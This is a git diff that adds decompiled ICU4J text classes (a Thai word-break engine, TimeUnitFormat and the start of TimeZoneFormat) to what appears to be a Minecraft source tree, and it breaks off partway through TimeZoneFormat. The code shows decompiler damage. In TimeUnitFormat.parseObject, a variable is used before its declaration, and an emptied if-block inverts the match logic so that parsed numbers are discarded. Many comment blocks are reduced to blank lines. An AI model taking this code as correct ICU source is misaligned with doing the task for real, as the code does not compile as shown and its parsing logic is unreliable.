+++ b/src/minecraft/com/ibm/icu/text/ThaiBreakEngine.java
@@ -0,0 +1,326 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.lang.UCharacter;
+import java.io.IOException;
+import java.text.CharacterIterator;
+import java.util.Stack;
+
+
+
+
+
+class ThaiBreakEngine
+  implements LanguageBreakEngine
+{
+  private static final byte THAI_LOOKAHEAD = 3;
+  private static final byte THAI_ROOT_COMBINE_THRESHOLD = 3;
+  private static final byte THAI_PREFIX_COMBINE_THRESHOLD = 3;
+  private static final char THAI_PAIYANNOI = 'ฯ';
+  private static final char THAI_MAIYAMOK = 'ๆ';
+  private static final byte THAI_MIN_WORD = 2;
+  private DictionaryMatcher fDictionary;
+  
+  static class PossibleWord
+  {
+    private static final int POSSIBLE_WORD_LIST_MAX = 20;
+    private int[] lengths;
+    private int[] count;
+    private int prefix;
+    private int offset;
+    private int mark;
+    private int current;
+    
+    public PossibleWord()
+    {
+      lengths = new int[20];
+      count = new int[1];
+      offset = -1;
+    }
+    
+    public int candidates(CharacterIterator fIter, DictionaryMatcher dict, int rangeEnd)
+    {
+      int start = fIter.getIndex();
+      if (start != offset) {
+        offset = start;
+        prefix = dict.matches(fIter, rangeEnd - start, lengths, count, lengths.length);
+        
+        if (count[0] <= 0) {
+          fIter.setIndex(start);
+        }
+      }
+      if (count[0] > 0) {
+        fIter.setIndex(start + lengths[(count[0] - 1)]);
+      }
+      current = (count[0] - 1);
+      mark = current;
+      return count[0];
+    }
+    
+    public int acceptMarked(CharacterIterator fIter)
+    {
+      fIter.setIndex(offset + lengths[mark]);
+      return lengths[mark];
+    }
+    
+
+    public boolean backUp(CharacterIterator fIter)
+    {
+      if (current > 0) {
+        fIter.setIndex(offset + lengths[(--current)]);
+        return true;
+      }
+      return false;
+    }
+    
+    public int longestPrefix()
+    {
+      return prefix;
+    }
+    
+    public void markCurrent()
+    {
+      mark = current;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static UnicodeSet fThaiWordSet = new UnicodeSet();
+  private static UnicodeSet fEndWordSet; private static UnicodeSet fBeginWordSet; private static UnicodeSet fSuffixSet; private static UnicodeSet fMarkSet = new UnicodeSet();
+  static { fEndWordSet = new UnicodeSet();
+    fBeginWordSet = new UnicodeSet();
+    fSuffixSet = new UnicodeSet();
+    
+    fThaiWordSet.applyPattern("[[:Thai:]&[:LineBreak=SA:]]");
+    fThaiWordSet.compact();
+    
+    fMarkSet.applyPattern("[[:Thai:]&[:LineBreak=SA:]&[:M:]]");
+    fMarkSet.add(32);
+    fEndWordSet = fThaiWordSet;
+    fEndWordSet.remove(3633);
+    fEndWordSet.remove(3648, 3652);
+    fBeginWordSet.add(3585, 3630);
+    fBeginWordSet.add(3648, 3652);
+    fSuffixSet.add(3631);
+    fSuffixSet.add(3654);
+    
+
+    fMarkSet.compact();
+    fEndWordSet.compact();
+    fBeginWordSet.compact();
+    fSuffixSet.compact();
+    
+
+    fThaiWordSet.freeze();
+    fMarkSet.freeze();
+    fEndWordSet.freeze();
+    fBeginWordSet.freeze();
+    fSuffixSet.freeze();
+  }
+  
+  public ThaiBreakEngine() throws IOException
+  {
+    fDictionary = DictionaryData.loadDictionaryFor("Thai");
+  }
+  
+  public boolean handles(int c, int breakType) {
+    if ((breakType == 1) || (breakType == 2)) {
+      int script = UCharacter.getIntPropertyValue(c, 4106);
+      return script == 38;
+    }
+    return false;
+  }
+  
+  public int findBreaks(CharacterIterator fIter, int rangeStart, int rangeEnd, boolean reverse, int breakType, Stack<Integer> foundBreaks)
+  {
+    if (rangeEnd - rangeStart < 2) {
+      return 0;
+    }
+    int wordsFound = 0;
+    
+
+    PossibleWord[] words = new PossibleWord[3];
+    for (int i = 0; i < 3; i++) {
+      words[i] = new PossibleWord();
+    }
+    
+
+    fIter.setIndex(rangeStart);
+    int current;
+    while ((current = fIter.getIndex()) < rangeEnd) {
+      int wordLength = 0;
+      
+
+      int candidates = words[(wordsFound % 3)].candidates(fIter, fDictionary, rangeEnd);
+      
+
+      if (candidates == 1) {
+        wordLength = words[(wordsFound % 3)].acceptMarked(fIter);
+        wordsFound++;
+
+
+      }
+      else if (candidates > 1) {
+        boolean foundBest = false;
+        
+        if (fIter.getIndex() < rangeEnd) {
+          do {
+            int wordsMatched = 1;
+            if (words[((wordsFound + 1) % 3)].candidates(fIter, fDictionary, rangeEnd) > 0) {
+              if (wordsMatched < 2)
+              {
+                words[(wordsFound % 3)].markCurrent();
+                wordsMatched = 2;
+              }
+              
+
+              if (fIter.getIndex() >= rangeEnd) {
+                break;
+              }
+              
+
+              do
+              {
+                if (words[((wordsFound + 2) % 3)].candidates(fIter, fDictionary, rangeEnd) > 0) {
+                  words[(wordsFound % 3)].markCurrent();
+                  foundBest = true;
+                  break;
+                }
+              } while (words[((wordsFound + 1) % 3)].backUp(fIter));
+            }
+          } while ((words[(wordsFound % 3)].backUp(fIter)) && (!foundBest));
+        }
+        wordLength = words[(wordsFound % 3)].acceptMarked(fIter);
+        wordsFound++;
+      }
+      
+
+
+
+
+
+      if ((fIter.getIndex() < rangeEnd) && (wordLength < 3))
+      {
+
+
+        if ((words[(wordsFound % 3)].candidates(fIter, fDictionary, rangeEnd) <= 0) && ((wordLength == 0) || (words[(wordsFound % 3)].longestPrefix() < 3)))
+        {
+
+
+          int remaining = rangeEnd - (current + wordLength);
+          int pc = fIter.current();
+          int chars = 0;
+          for (;;) {
+            fIter.next();
+            int uc = fIter.current();
+            chars++;
+            remaining--; if (remaining <= 0) {
+              break;
+            }
+            if ((fEndWordSet.contains(pc)) && (fBeginWordSet.contains(uc)))
+            {
+
+
+
+
+              int candidate = words[((wordsFound + 1) % 3)].candidates(fIter, fDictionary, rangeEnd);
+              fIter.setIndex(current + wordLength + chars);
+              if (candidate > 0) {
+                break;
+              }
+            }
+            pc = uc;
+          }
+          
+
+          if (wordLength <= 0) {
+            wordsFound++;
+          }
+          
+
+          wordLength += chars;
+        }
+        else {
+          fIter.setIndex(current + wordLength);
+        }
+      }
+      
+      int currPos;
+      
+      while (((currPos = fIter.getIndex()) < rangeEnd) && (fMarkSet.contains(fIter.current()))) {
+        fIter.next();
+        wordLength += fIter.getIndex() - currPos;
+      }
+      
+
+
+
+
+      if ((fIter.getIndex() < rangeEnd) && (wordLength > 0)) { int uc;
+        if ((words[(wordsFound % 3)].candidates(fIter, fDictionary, rangeEnd) <= 0) && (fSuffixSet.contains(uc = fIter.current())))
+        {
+          if (uc == 3631) {
+            if (!fSuffixSet.contains(fIter.previous()))
+            {
+              fIter.next();
+              fIter.next();
+              wordLength++;
+              uc = fIter.current();
+            }
+            else {
+              fIter.next();
+            }
+          }
+          if (uc == 3654) {
+            if (fIter.previous() != 'ๆ')
+            {
+              fIter.next();
+              fIter.next();
+              wordLength++;
+            }
+            else {
+              fIter.next();
+            }
+          }
+        } else {
+          fIter.setIndex(current + wordLength);
+        }
+      }
+      
+
+      if (wordLength > 0) {
+        foundBreaks.push(Integer.valueOf(current + wordLength));
+      }
+    }
+    
+
+    if (((Integer)foundBreaks.peek()).intValue() >= rangeEnd) {
+      foundBreaks.pop();
+      wordsFound--;
+    }
+    
+    return wordsFound;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/TimeUnitFormat.java b/src/minecraft/com/ibm/icu/text/TimeUnitFormat.java
new file mode 100644
index 0000000..5ab05a2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/TimeUnitFormat.java
@@ -0,0 +1,523 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.util.TimeUnit;
+import com.ibm.icu.util.TimeUnitAmount;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeUnitFormat
+  extends MeasureFormat
+{
+  public static final int FULL_NAME = 0;
+  public static final int ABBREVIATED_NAME = 1;
+  private static final int TOTAL_STYLES = 2;
+  private static final long serialVersionUID = -3707773153184971529L;
+  private static final String DEFAULT_PATTERN_FOR_SECOND = "{0} s";
+  private static final String DEFAULT_PATTERN_FOR_MINUTE = "{0} min";
+  private static final String DEFAULT_PATTERN_FOR_HOUR = "{0} h";
+  private static final String DEFAULT_PATTERN_FOR_DAY = "{0} d";
+  private static final String DEFAULT_PATTERN_FOR_WEEK = "{0} w";
+  private static final String DEFAULT_PATTERN_FOR_MONTH = "{0} m";
+  private static final String DEFAULT_PATTERN_FOR_YEAR = "{0} y";
+  private NumberFormat format;
+  private ULocale locale;
+  private transient Map<TimeUnit, Map<String, Object[]>> timeUnitToCountToPatterns;
+  private transient PluralRules pluralRules;
+  private transient boolean isReady;
+  private int style;
+  
+  public TimeUnitFormat()
+  {
+    isReady = false;
+    style = 0;
+  }
+  
+
+
+
+
+
+  public TimeUnitFormat(ULocale locale)
+  {
+    this(locale, 0);
+  }
+  
+
+
+
+
+  public TimeUnitFormat(Locale locale)
+  {
+    this(locale, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public TimeUnitFormat(ULocale locale, int style)
+  {
+    if ((style < 0) || (style >= 2)) {
+      throw new IllegalArgumentException("style should be either FULL_NAME or ABBREVIATED_NAME style");
+    }
+    this.style = style;
+    this.locale = locale;
+    isReady = false;
+  }
+  
+
+
+
+
+  public TimeUnitFormat(Locale locale, int style)
+  {
+    this(ULocale.forLocale(locale), style);
+  }
+  
+
+
+
+
+
+  public TimeUnitFormat setLocale(ULocale locale)
+  {
+    if (locale != this.locale) {
+      this.locale = locale;
+      isReady = false;
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public TimeUnitFormat setLocale(Locale locale)
+  {
+    return setLocale(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+  public TimeUnitFormat setNumberFormat(NumberFormat format)
+  {
+    if (format == this.format) {
+      return this;
+    }
+    if (format == null) {
+      if (locale == null) {
+        isReady = false;
+        return this;
+      }
+      this.format = NumberFormat.getNumberInstance(locale);
+    }
+    else {
+      this.format = format;
+    }
+    
+    if (!isReady) {
+      return this;
+    }
+    for (Map<String, Object[]> countToPattern : timeUnitToCountToPatterns.values()) {
+      for (Object[] pair : countToPattern.values()) {
+        MessageFormat pattern = (MessageFormat)pair[0];
+        pattern.setFormatByArgumentIndex(0, format);
+        pattern = (MessageFormat)pair[1];
+        pattern.setFormatByArgumentIndex(0, format);
+      }
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    if (!(obj instanceof TimeUnitAmount)) {
+      throw new IllegalArgumentException("can not format non TimeUnitAmount object");
+    }
+    if (!isReady) {
+      setup();
+    }
+    TimeUnitAmount amount = (TimeUnitAmount)obj;
+    Map<String, Object[]> countToPattern = (Map)timeUnitToCountToPatterns.get(amount.getTimeUnit());
+    double number = amount.getNumber().doubleValue();
+    String count = pluralRules.select(number);
+    MessageFormat pattern = (MessageFormat)((Object[])countToPattern.get(count))[style];
+    return pattern.format(new Object[] { amount.getNumber() }, toAppendTo, pos);
+  }
+  
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    if (!isReady) {
+      setup();
+    }
+    Number resultNumber = null;
+    TimeUnit resultTimeUnit = null;
+    int oldPos = pos.getIndex();
+    int newPos = -1;
+    int longestParseDistance = 0;
+    String countOfLongestMatch = null;
+    
+
+
+    for (Iterator i$ = timeUnitToCountToPatterns.keySet().iterator(); i$.hasNext();) { timeUnit = (TimeUnit)i$.next();
+      Map<String, Object[]> countToPattern = (Map)timeUnitToCountToPatterns.get(timeUnit);
+      for (Map.Entry<String, Object[]> patternEntry : countToPattern.entrySet()) {
+        String count = (String)patternEntry.getKey();
+        for (int styl = 0; styl < 2; styl++) {
+          MessageFormat pattern = (MessageFormat)((Object[])patternEntry.getValue())[styl];
+          pos.setErrorIndex(-1);
+          pos.setIndex(oldPos);
+          
+          Object parsed = pattern.parseObject(source, pos);
+          if ((pos.getErrorIndex() == -1) && (pos.getIndex() != oldPos))
+          {
+
+
+            Number temp = null;
+            if (((Object[])parsed).length != 0)
+            {
+
+
+              temp = (Number)((Object[])(Object[])parsed)[0];
+              String select = pluralRules.select(temp.doubleValue());
+              if (!count.equals(select)) {}
+            }
+            else
+            {
+              int parseDistance = pos.getIndex() - oldPos;
+              if (parseDistance > longestParseDistance) {
+                resultNumber = temp;
+                resultTimeUnit = timeUnit;
+                newPos = pos.getIndex();
+                longestParseDistance = parseDistance;
+                countOfLongestMatch = count;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    TimeUnit timeUnit;
+    
+    if ((resultNumber == null) && (longestParseDistance != 0))
+    {
+      if (countOfLongestMatch.equals("zero")) {
+        resultNumber = Integer.valueOf(0);
+      } else if (countOfLongestMatch.equals("one")) {
+        resultNumber = Integer.valueOf(1);
+      } else if (countOfLongestMatch.equals("two")) {
+        resultNumber = Integer.valueOf(2);
+      }
+      else
+      {
+        resultNumber = Integer.valueOf(3);
+      }
+    }
+    if (longestParseDistance == 0) {
+      pos.setIndex(oldPos);
+      pos.setErrorIndex(0);
+      return null;
+    }
+    pos.setIndex(newPos);
+    pos.setErrorIndex(-1);
+    return new TimeUnitAmount(resultNumber, resultTimeUnit);
+  }
+  
+
+
+
+
+
+
+
+  private void setup()
+  {
+    if (locale == null) {
+      if (format != null) {
+        locale = format.getLocale(null);
+      } else {
+        locale = ULocale.getDefault(ULocale.Category.FORMAT);
+      }
+    }
+    if (format == null) {
+      format = NumberFormat.getNumberInstance(locale);
+    }
+    pluralRules = PluralRules.forLocale(locale);
+    timeUnitToCountToPatterns = new HashMap();
+    
+    Set<String> pluralKeywords = pluralRules.getKeywords();
+    setup("units", timeUnitToCountToPatterns, 0, pluralKeywords);
+    setup("unitsShort", timeUnitToCountToPatterns, 1, pluralKeywords);
+    isReady = true;
+  }
+  
+
+  private void setup(String resourceKey, Map<TimeUnit, Map<String, Object[]>> timeUnitToCountToPatterns, int style, Set<String> pluralKeywords)
+  {
+    try
+    {
+      ICUResourceBundle resource = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+      ICUResourceBundle unitsRes = resource.getWithFallback(resourceKey);
+      int size = unitsRes.getSize();
+      for (int index = 0; index < size; index++) {
+        String timeUnitName = unitsRes.get(index).getKey();
+        TimeUnit timeUnit = null;
+        if (timeUnitName.equals("year")) {
+          timeUnit = TimeUnit.YEAR;
+        } else if (timeUnitName.equals("month")) {
+          timeUnit = TimeUnit.MONTH;
+        } else if (timeUnitName.equals("day")) {
+          timeUnit = TimeUnit.DAY;
+        } else if (timeUnitName.equals("hour")) {
+          timeUnit = TimeUnit.HOUR;
+        } else if (timeUnitName.equals("minute")) {
+          timeUnit = TimeUnit.MINUTE;
+        } else if (timeUnitName.equals("second")) {
+          timeUnit = TimeUnit.SECOND;
+        } else { if (!timeUnitName.equals("week")) continue;
+          timeUnit = TimeUnit.WEEK;
+        }
+        
+
+        ICUResourceBundle oneUnitRes = unitsRes.getWithFallback(timeUnitName);
+        int count = oneUnitRes.getSize();
+        Map<String, Object[]> countToPatterns = (Map)timeUnitToCountToPatterns.get(timeUnit);
+        if (countToPatterns == null) {
+          countToPatterns = new TreeMap();
+          timeUnitToCountToPatterns.put(timeUnit, countToPatterns);
+        }
+        for (int pluralIndex = 0; pluralIndex < count; pluralIndex++) {
+          String pluralCount = oneUnitRes.get(pluralIndex).getKey();
+          if (pluralKeywords.contains(pluralCount))
+          {
+            String pattern = oneUnitRes.get(pluralIndex).getString();
+            MessageFormat messageFormat = new MessageFormat(pattern, locale);
+            if (format != null) {
+              messageFormat.setFormatByArgumentIndex(0, format);
+            }
+            
+
+
+
+            Object[] pair = (Object[])countToPatterns.get(pluralCount);
+            if (pair == null) {
+              pair = new Object[2];
+              countToPatterns.put(pluralCount, pair);
+            }
+            pair[style] = messageFormat;
+          }
+        }
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    TimeUnit[] timeUnits = TimeUnit.values();
+    Set<String> keywords = pluralRules.getKeywords();
+    TimeUnit timeUnit; Map<String, Object[]> countToPatterns; for (int i = 0; i < timeUnits.length; i++)
+    {
+
+      timeUnit = timeUnits[i];
+      countToPatterns = (Map)timeUnitToCountToPatterns.get(timeUnit);
+      if (countToPatterns == null) {
+        countToPatterns = new TreeMap();
+        timeUnitToCountToPatterns.put(timeUnit, countToPatterns);
+      }
+      for (String pluralCount : keywords) {
+        if ((countToPatterns.get(pluralCount) == null) || (((Object[])countToPatterns.get(pluralCount))[style] == null))
+        {
+
+          searchInTree(resourceKey, style, timeUnit, pluralCount, pluralCount, countToPatterns);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void searchInTree(String resourceKey, int styl, TimeUnit timeUnit, String srcPluralCount, String searchPluralCount, Map<String, Object[]> countToPatterns)
+  {
+    ULocale parentLocale = locale;
+    String srcTimeUnitName = timeUnit.toString();
+    while (parentLocale != null)
+    {
+      try {
+        ICUResourceBundle unitsRes = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", parentLocale);
+        unitsRes = unitsRes.getWithFallback(resourceKey);
+        ICUResourceBundle oneUnitRes = unitsRes.getWithFallback(srcTimeUnitName);
+        String pattern = oneUnitRes.getStringWithFallback(searchPluralCount);
+        MessageFormat messageFormat = new MessageFormat(pattern, locale);
+        if (format != null) {
+          messageFormat.setFormatByArgumentIndex(0, format);
+        }
+        Object[] pair = (Object[])countToPatterns.get(srcPluralCount);
+        if (pair == null) {
+          pair = new Object[2];
+          countToPatterns.put(srcPluralCount, pair);
+        }
+        pair[styl] = messageFormat;
+        return;
+      }
+      catch (MissingResourceException e) {}
+      parentLocale = parentLocale.getFallback();
+    }
+    
+
+
+    if ((parentLocale == null) && (resourceKey.equals("unitsShort"))) {
+      searchInTree("units", styl, timeUnit, srcPluralCount, searchPluralCount, countToPatterns);
+      if ((countToPatterns != null) && (countToPatterns.get(srcPluralCount) != null) && (((Object[])countToPatterns.get(srcPluralCount))[styl] != null))
+      {
+
+        return;
+      }
+    }
+    
+
+
+    if (searchPluralCount.equals("other"))
+    {
+      MessageFormat messageFormat = null;
+      if (timeUnit == TimeUnit.SECOND) {
+        messageFormat = new MessageFormat("{0} s", locale);
+      } else if (timeUnit == TimeUnit.MINUTE) {
+        messageFormat = new MessageFormat("{0} min", locale);
+      } else if (timeUnit == TimeUnit.HOUR) {
+        messageFormat = new MessageFormat("{0} h", locale);
+      } else if (timeUnit == TimeUnit.WEEK) {
+        messageFormat = new MessageFormat("{0} w", locale);
+      } else if (timeUnit == TimeUnit.DAY) {
+        messageFormat = new MessageFormat("{0} d", locale);
+      } else if (timeUnit == TimeUnit.MONTH) {
+        messageFormat = new MessageFormat("{0} m", locale);
+      } else if (timeUnit == TimeUnit.YEAR) {
+        messageFormat = new MessageFormat("{0} y", locale);
+      }
+      if ((format != null) && (messageFormat != null)) {
+        messageFormat.setFormatByArgumentIndex(0, format);
+      }
+      Object[] pair = (Object[])countToPatterns.get(srcPluralCount);
+      if (pair == null) {
+        pair = new Object[2];
+        countToPatterns.put(srcPluralCount, pair);
+      }
+      pair[styl] = messageFormat;
+    }
+    else {
+      searchInTree(resourceKey, styl, timeUnit, srcPluralCount, "other", countToPatterns);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/TimeZoneFormat.java b/src/minecraft/com/ibm/icu/text/TimeZoneFormat.java
new file mode 100644
index 0000000..5c7a7c3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/TimeZoneFormat.java
@@ -0,0 +1,3236 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SoftCache;
+import com.ibm.icu.impl.TextTrieMap;
+import com.ibm.icu.impl.TimeZoneGenericNames;
+import com.ibm.icu.impl.TimeZoneGenericNames.GenericMatchInfo;
+import com.ibm.icu.impl.TimeZoneGenericNames.GenericNameType;
+import com.ibm.icu.impl.TimeZoneNamesImpl;
+import com.ibm.icu.impl.ZoneMeta;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.Freezable;
+import com.ibm.icu.util.Output;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZone.SystemTimeZoneType;
+import com.ibm.icu.util.ULocale;
+import java.io.IOException;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.ObjectInputStream.GetField;
+import java.io.ObjectOutputStream;
+import java.io.ObjectOutputStream.PutField;
+import java.io.ObjectStreamField;
+import java.io.Serializable;
+import java.text.AttributedCharacterIterator;
+import java.text.AttributedString;
+import java.text.FieldPosition;
+import java.text.ParseException;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.BitSet;
+import java.util.Collection;
+import java.util.Date;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeZoneFormat
+  extends UFormat
+  implements Freezable<TimeZoneFormat>, Serializable
+{
+  private static final long serialVersionUID = 2281246852693575022L;
+  private static final int ISO_Z_STYLE_FLAG = 128;
+  private static final int ISO_LOCAL_STYLE_FLAG = 256;
+  private ULocale _locale;
+  private TimeZoneNames _tznames;
+  private String _gmtPattern;
+  private String[] _gmtOffsetPatterns;
+  private String[] _gmtOffsetDigits;
+  private String _gmtZeroFormat;
+  private boolean _parseAllStyles;
+  private volatile transient TimeZoneGenericNames _gnames;
+  private transient String _gmtPatternPrefix;
+  private transient String _gmtPatternSuffix;
+  private transient Object[][] _gmtOffsetPatternItems;
+  private transient boolean _abuttingOffsetHoursAndMinutes;
+  private transient String _region;
+  private transient boolean _frozen;
+  private static final String TZID_GMT = "Etc/GMT";
+  
+  public static enum Style
+  {
+    GENERIC_LOCATION(1), 
+    
+
+
+
+
+
+    GENERIC_LONG(2), 
+    
+
+
+
+
+
+    GENERIC_SHORT(4), 
+    
+
+
+
+
+
+    SPECIFIC_LONG(8), 
+    
+
+
+
+
+
+    SPECIFIC_SHORT(16), 
+    
+
+
+
+
+
+    LOCALIZED_GMT(32), 
+    
+
+
+
+
+
+    LOCALIZED_GMT_SHORT(64), 
+    
+
+
+
+
+
+
+    ISO_BASIC_SHORT(128), 
+    
+
+
+
+
+
+
+    ISO_BASIC_LOCAL_SHORT(256), 
+    
+
+
+
+
+
+
+    ISO_BASIC_FIXED(128), 
+    
+
+
+
+
+
+
+    ISO_BASIC_LOCAL_FIXED(256), 
+    
+
+
+
+
+
+
+    ISO_BASIC_FULL(128), 
+    
+
+
+
+
+
+
+    ISO_BASIC_LOCAL_FULL(256), 
+    
+
+
+
+
+
+
+    ISO_EXTENDED_FIXED(128), 
+    
+
+
+
+
+
+
+    ISO_EXTENDED_LOCAL_FIXED(256), 
+    
+
+
+
+
+
+
+    ISO_EXTENDED_FULL(128), 
+    
+
+
+
+
+
+
+    ISO_EXTENDED_LOCAL_FULL(256), 
+    
+
+
+
+
+    ZONE_ID(512), 
+    
+
+
+
+
+    ZONE_ID_SHORT(1024), 
+    
+
+
+
+
+    EXEMPLAR_LOCATION(2048);
+    
+    final int flag;
+    
+    private Style(int flag) {
+      this.flag = flag;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static enum GMTOffsetPatternType
+  {
+    POSITIVE_HM("+H:mm", "Hm", true), 
+    
+
+
+
+
+    POSITIVE_HMS("+H:mm:ss", "Hms", true), 
+    
+
+
+
+
+    NEGATIVE_HM("-H:mm", "Hm", false), 
+    
+
+
+
+
+    NEGATIVE_HMS("-H:mm:ss", "Hms", false), 
+    
+
+
+
+
+    POSITIVE_H("+H", "H", true), 
+    
+
+
+
+
+    NEGATIVE_H("-H", "H", false);
+    
+    private String _defaultPattern;
+    private String _required;
+    private boolean _isPositive;
+    
+    private GMTOffsetPatternType(String defaultPattern, String required, boolean isPositive) {
+      _defaultPattern = defaultPattern;
+      _required = required;
+      _isPositive = isPositive;
+    }
+    
+    private String defaultPattern() {
+      return _defaultPattern;
+    }
+    
+    private String required() {
+      return _required;
+    }
+    
+    private boolean isPositive() {
+      return _isPositive;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static enum TimeType
+  {
+    UNKNOWN, 
+    
+
+
+
+
+    STANDARD, 
+    
+
+
+
+
+    DAYLIGHT;
+    
+
+
+
+
+
+    private TimeType() {}
+  }
+  
+
+
+
+
+  public static enum ParseOption
+  {
+    ALL_STYLES;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private ParseOption() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] ALT_GMT_STRINGS = { "GMT", "UTC", "UT" };
+  
+  private static final String DEFAULT_GMT_PATTERN = "GMT{0}";
+  private static final String DEFAULT_GMT_ZERO = "GMT";
+  private static final String[] DEFAULT_GMT_DIGITS = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
+  
+  private static final char DEFAULT_GMT_OFFSET_SEP = ':';
+  
+  private static final String ASCII_DIGITS = "0123456789";
+  
+  private static final String ISO8601_UTC = "Z";
+  
+  private static final String UNKNOWN_ZONE_ID = "Etc/Unknown";
+  private static final String UNKNOWN_SHORT_ZONE_ID = "unk";
+  private static final String UNKNOWN_LOCATION = "Unknown";
+  private static final GMTOffsetPatternType[] PARSE_GMT_OFFSET_TYPES = { GMTOffsetPatternType.POSITIVE_HMS, GMTOffsetPatternType.NEGATIVE_HMS, GMTOffsetPatternType.POSITIVE_HM, GMTOffsetPatternType.NEGATIVE_HM, GMTOffsetPatternType.POSITIVE_H, GMTOffsetPatternType.NEGATIVE_H };
+  
+
+  private static final int MILLIS_PER_HOUR = 3600000;
+  
+
+  private static final int MILLIS_PER_MINUTE = 60000;
+  
+  private static final int MILLIS_PER_SECOND = 1000;
+  
+  private static final int MAX_OFFSET = 86400000;
+  
+  private static final int MAX_OFFSET_HOUR = 23;
+  
+  private static final int MAX_OFFSET_MINUTE = 59;
+  
+  private static final int MAX_OFFSET_SECOND = 59;
+  
+  private static final int UNKNOWN_OFFSET = Integer.MAX_VALUE;
+  
+  private static TimeZoneFormatCache _tzfCache = new TimeZoneFormatCache(null);
+  
+
+  private static final EnumSet<TimeZoneNames.NameType> ALL_SIMPLE_NAME_TYPES = EnumSet.of(TimeZoneNames.NameType.LONG_STANDARD, TimeZoneNames.NameType.LONG_DAYLIGHT, TimeZoneNames.NameType.SHORT_STANDARD, TimeZoneNames.NameType.SHORT_DAYLIGHT, TimeZoneNames.NameType.EXEMPLAR_LOCATION);
+  
+
+
+
+
+
+  private static final EnumSet<TimeZoneGenericNames.GenericNameType> ALL_GENERIC_NAME_TYPES = EnumSet.of(TimeZoneGenericNames.GenericNameType.LOCATION, TimeZoneGenericNames.GenericNameType.LONG, TimeZoneGenericNames.GenericNameType.SHORT);
+  
+
+
+  private static volatile TextTrieMap<String> ZONE_ID_TRIE;
+  
+
+
+  private static volatile TextTrieMap<String> SHORT_ZONE_ID_TRIE;
+  
+
+
+  protected TimeZoneFormat(ULocale locale)
+  {
+    _locale = locale;
+    _tznames = TimeZoneNames.getInstance(locale);
+    
+
+    String gmtPattern = null;
+    String hourFormats = null;
+    _gmtZeroFormat = "GMT";
+    try
+    {
+      ICUResourceBundle bundle = (ICUResourceBundle)ICUResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/zone", locale);
+      try
+      {
+        gmtPattern = bundle.getStringWithFallback("zoneStrings/gmtFormat");
+      }
+      catch (MissingResourceException e) {}
+      try
+      {
+        hourFormats = bundle.getStringWithFallback("zoneStrings/hourFormat");
+      }
+      catch (MissingResourceException e) {}
+      try
+      {
+        _gmtZeroFormat = bundle.getStringWithFallback("zoneStrings/gmtZeroFormat");
+      }
+      catch (MissingResourceException e) {}
+    }
+    catch (MissingResourceException e) {}
+    
+
+
+    if (gmtPattern == null) {
+      gmtPattern = "GMT{0}";
+    }
+    initGMTPattern(gmtPattern);
+    
+    String[] gmtOffsetPatterns = new String[GMTOffsetPatternType.values().length];
+    if (hourFormats != null) {
+      String[] hourPatterns = hourFormats.split(";", 2);
+      gmtOffsetPatterns[GMTOffsetPatternType.POSITIVE_H.ordinal()] = truncateOffsetPattern(hourPatterns[0]);
+      gmtOffsetPatterns[GMTOffsetPatternType.POSITIVE_HM.ordinal()] = hourPatterns[0];
+      gmtOffsetPatterns[GMTOffsetPatternType.POSITIVE_HMS.ordinal()] = expandOffsetPattern(hourPatterns[0]);
+      gmtOffsetPatterns[GMTOffsetPatternType.NEGATIVE_H.ordinal()] = truncateOffsetPattern(hourPatterns[1]);
+      gmtOffsetPatterns[GMTOffsetPatternType.NEGATIVE_HM.ordinal()] = hourPatterns[1];
+      gmtOffsetPatterns[GMTOffsetPatternType.NEGATIVE_HMS.ordinal()] = expandOffsetPattern(hourPatterns[1]);
+    } else {
+      for (GMTOffsetPatternType patType : GMTOffsetPatternType.values()) {
